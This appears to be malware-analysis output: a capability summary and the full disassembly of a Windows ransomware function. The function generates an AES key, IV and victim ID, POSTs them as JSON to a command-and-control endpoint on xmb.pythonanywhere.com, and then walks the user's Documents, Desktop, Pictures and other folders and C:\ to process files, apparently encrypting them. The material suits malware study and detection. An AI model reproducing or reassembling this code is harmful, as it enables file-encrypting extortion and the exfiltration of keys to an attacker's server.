Function at 0x140001c90
Capabilities:
Connect to http server
Create http request
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Generate random numbers via winapi
Query environment variable
Send data
Send http request

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x288
mov r9d, 0x18
xor r8d, r8d
xor edx, edx
lea rax, [rsp + 0xf0]
mov dword [rsp + 0x20], 0xf0000000
lea rdi, [rsp + 0x120]
mov dword [rsp + 0xc0], 0x2c
mov rcx, rax
mov qword [rsp + 0x50], rax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x1400021a8
lea rax, [rsp + 0x70]
lea rsi, [rsp + 0xc0]
mov qword [rsp + 0x48], rax
lea r12, [rsp + 0x170]
movabs rax, 0x3736353433323130
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
movabs rdx, 0x4645444342413938
mov qword [rsp + 0x170], rax
movabs rax, 0x4e4d4c4b4a494847
mov qword [rsp + 0x178], rdx
movabs rdx, 0x565554535251504f
mov qword [rsp + 0x188], rdx
lea rdx, [0x14000a7b2]
mov qword [rsp + 0x180], rax
movabs rax, 0x5a595857565554
mov qword [rsp + 0x18d], rax
call sub.bcrypt.dll_BCryptOpenAlgorithmProvider
test eax, eax
js 0x140001dbc
xor ebp, ebp
xor r13d, r13d
jmp 0x140001d90
movzx eax, byte [rsp + 0xc0]
cmp al, 0xfb
jbe 0x140002140
mov rcx, qword [rsp + 0x120]
xor r9d, r9d
mov r8d, 1
mov rdx, rsi
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
jns 0x140001d80
mov rcx, qword [rsp + 0x120]
xor edx, edx
call sub.bcrypt.dll_BCryptCloseAlgorithmProvider
movabs rax, 0x2d746e65746e6f43
mov r14, rdi
movabs rdx, 0x7061203a65707954
mov qword [rsp + 0x80], rax
lea r13, [rsp + 0x161]
movabs rax, 0x69746163696c7070
lea rbp, str._02x
mov qword [rsp + 0x88], rdx
movabs rdx, 0x6e6f736a2f6e6f
mov qword [rsp + 0x8f], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x97], rdx
mov rbx, rax
mov qword [rsp + 0x58], rax
nop word cs:[rax + rax]
movzx r9d, byte [rbx]
mov rdx, r13
mov rcx, r14
mov r8, rbp
sub rdx, r14
add rbx, 1
add r14, 2
call sym.snprintf
cmp rbx, rsi
jne 0x140001e30
mov byte [rsp + 0x160], 0
mov rbx, qword [rsp + 0x48]
mov r15, rsi
lea rbp, [rsp + 0x80]
lea r14, [rsp + 0xe1]
lea r13, str._02x
nop dword [rax]
movzx r9d, byte [rbx]
mov rdx, r14
mov rcx, r15
mov r8, r13
sub rdx, r15
add rbx, 1
add r15, 2
call sym.snprintf
cmp rbp, rbx
jne 0x140001e80
mov qword [rsp + 0x28], rdi
mov r9, qword [rsp + 0x50]
mov edx, 0xec
mov rcx, r12
mov qword [rsp + 0x20], rsi
lea r8, str._id_:___s____iv_:___s____key_:___s_
mov byte [rsp + 0xe0], 0
call sym.snprintf
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.TLD13Browser_12.0
mov dword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetOpenA]
xor r9d, r9d
mov r8d, 0x1bb
lea rdx, str.xmb.pythonanywhere.com
mov r14, rax
mov rcx, rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
xor r9d, r9d
lea r8, str._c2_receiver
lea rdx, str.POST
mov rcx, rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x80800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, r12
mov r13, rax
call sym.strlen
mov rcx, rbp
mov qword [rsp + 0x60], rax
call sym.strlen
mov rdx, qword [rsp + 0x60]
mov r9, r12
mov rcx, r13
mov r8d, eax
mov dword [rsp + 0x20], edx
mov rdx, rbp
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, r13
mov r13, qword [sym.imp.WININET.dll_InternetCloseHandle]
call r13
mov rcx, qword [rsp + 0x68]
call r13
mov rcx, r14
call r13
mov rax, rdi
lea rcx, [rsp + 0x161]
nop dword [rax + rax]
mov rdx, rax
add rax, 1
mov byte [rdx], 0
cmp rax, rcx
jne 0x140001fc8
mov rax, rsi
lea rcx, [rsp + 0xe1]
nop word [rax + rax]
mov rdx, rax
add rax, 1
mov byte [rdx], 0
cmp rax, rcx
jne 0x140001fe8
mov rax, r12
lea rcx, [rsp + 0x25c]
nop word [rax + rax]
mov rdx, rax
add rax, 1
mov byte [rdx], 0
cmp rax, rcx
jne 0x140002008
lea rax, str._USERPROFILE_Documents
lea rbx, str._USERPROFILE_Desktop
mov r13, qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
movq xmm0, rbx
movq xmm1, rax
lea rbx, str._USERPROFILE_Pictures
punpcklqdq xmm0, xmm1
lea rax, str._USERPROFILE_Music
lea r14, [rsp + 0x150]
movq xmm2, rax
movaps xmmword [rsp + 0x120], xmm0
movq xmm0, rbx
lea rax, str._USERPROFILE_Downloads
punpcklqdq xmm0, xmm2
lea rbx, str._USERPROFILE_Videos
movq xmm3, rax
movaps xmmword [rsp + 0x130], xmm0
movq xmm0, rbx
punpcklqdq xmm0, xmm3
movaps xmmword [rsp + 0x140], xmm0
jmp 0x1400020a1
add rdi, 8
cmp r14, rdi
je 0x1400020d4
mov rcx, qword [rdi]
mov r8d, 0x104
mov rdx, r12
call r13
test eax, eax
je 0x140002098
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x48]
mov rcx, r12
add rdi, 8
mov rdx, qword [rsp + 0x58]
call sym.processfiles
cmp r14, rdi
jne 0x1400020a1
mov rdi, qword [rsp + 0x58]
mov r9, qword [rsp + 0x50]
mov rcx, r12
mov dword [rsp + 0x170], 0x5c3a43
mov r8, qword [rsp + 0x48]
mov rdx, rdi
call sym.processfiles
mov rax, rdi
nop dword [rax]
mov rdx, rax
add rax, 1
mov byte [rdx], 0
cmp rax, rsi
jne 0x140002100
mov rbx, qword [rsp + 0x48]
nop dword [rax]
mov rax, rbx
add rbx, 1
mov byte [rax], 0
cmp rbx, rbp
jne 0x140002118
xor eax, eax
add rsp, 0x288
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
movzx ecx, al
movsxd r9, r13d
lea r8d, [r13 + 1]
add ebp, 1
movabs rax, 0xe38e38e38e38e38f
mul rcx
mov rax, rcx
shr rdx, 5
lea rdx, [rdx + rdx*8]
shl rdx, 2
sub rax, rdx
movzx eax, byte [rsp + rax + 0x170]
mov byte [rsp + r9 + 0xf0], al
test bpl, 3
jne 0x14000218c
cmp r8d, 0x26
jle 0x1400022a8
mov r13d, r8d
cmp ebp, 0x21
jne 0x140001d90
mov byte [rsp + 0x117], 0
jmp 0x140001dad
mov rcx, qword [rsp + 0xf0]
mov r9, rdi
mov r8d, 1
mov edx, 0x6610
call qword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
je 0x140002290
lea rsi, [rsp + 0xc0]
lea r12, [rsp + 0x170]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], rsi
mov rcx, qword [rsp + 0x120]
mov r8d, 8
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
je 0x1400022bd
movdqu xmm4, xmmword [rsp + 0x17c]
mov rax, r12
movdqu xmm5, xmmword [rsp + 0x18c]
lea rcx, [rsp + 0x19c]
movaps xmmword [rsp + 0xa0], xmm4
movaps xmmword [rsp + 0xb0], xmm5
nop dword [rax]
mov rdx, rax
add rax, 1
mov byte [rdx], 0
cmp rax, rcx
jne 0x140002238
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0xf0]
mov edx, 0x10
mov r8, rax
mov qword [rsp + 0x48], rax
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0xf0]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x140001d01
mov rcx, qword [rsp + 0xf0]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x140001ce7
movsxd r8, r8d
add r13d, 2
mov byte [rsp + r8 + 0xf0], 0x2d
jmp 0x14000218f
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0xf0]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
jmp 0x140001d01